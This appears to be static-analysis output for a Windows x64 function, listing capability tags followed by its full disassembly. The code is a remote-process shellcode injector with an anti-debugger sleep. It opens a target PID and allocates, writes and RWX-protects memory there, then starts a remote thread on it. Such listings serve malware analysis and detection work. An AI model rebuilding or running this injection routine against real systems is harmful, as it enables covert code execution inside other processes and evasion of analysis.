Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rdx
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400010b9
lea rcx, str.____Debugger_Detected
call fcn.140001010
mov ecx, 0xf4240
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
jmp 0x1400012f1
cmp edi, 2
jge 0x1400010d7
mov rdx, qword [rbx]
lea rcx, str.____Usage:__s__PID_
call fcn.140001010
mov eax, 1
jmp 0x1400012f1
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, 1
mov ecx, 0x1fffff
mov r8d, eax
mov dword [0x140005620], eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001160
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x140001121
lea rcx, str.____Access_Denied_n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x1400012f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140001142
lea rcx, str.____PID_Does_not_Exist_n
call fcn.140001010
mov eax, 1
jmp 0x1400012f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_GetHandle:_0x_p_n
call fcn.140001010
mov eax, 1
jmp 0x1400012f1
mov rdx, rbx
mov qword [rsp + 0x60], rsi
lea rcx, str.___Got_Handle_to_the_Process:_0x_p_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rbx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400011db
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x1400011b2
lea rcx, str.____Failed_to_write_memory__Access_Denied_n
call fcn.140001010
jmp 0x1400011c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_allocate_memory:_0x_p_n
call fcn.140001010
lea rcx, str.___Closing_Handle_to_Process_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
lea rcx, str.___Alocated_memory__base_address:_0x_p_n
call fcn.140001010
xor esi, esi
lea r8, [0x140003560]
mov rdx, rdi
mov qword [rsp + 0x20], rsi
mov rcx, rbx
lea r9d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012d3
lea rcx, str.___Successfully_wrote_data_into_target_process_n
call fcn.140001010
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], esi
lea r9d, [rsi + 0x10]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14000125a
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_change_memory_permissions:_0x_p_n
call fcn.140001010
jmp 0x1400012e7
lea rcx, str.___Changed_memory_permisions_to_RWX_:__n
call fcn.140001010
mov qword [rsp + 0x38], rsi
mov r9, rdi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], esi
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
test rax, rax
jne 0x1400012a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_create_Thread_in_process:_0x_p_n
call fcn.140001010
mov rdx, rbx
lea rcx, str.___Created_Thread_in_process__handle:_0x_p_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Thread_finished_execution_n
call fcn.140001010
xor eax, eax
jmp 0x1400012ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_write_data_into_target_process_memory:_0x_p_n
call fcn.140001010
mov eax, 1
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001320
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret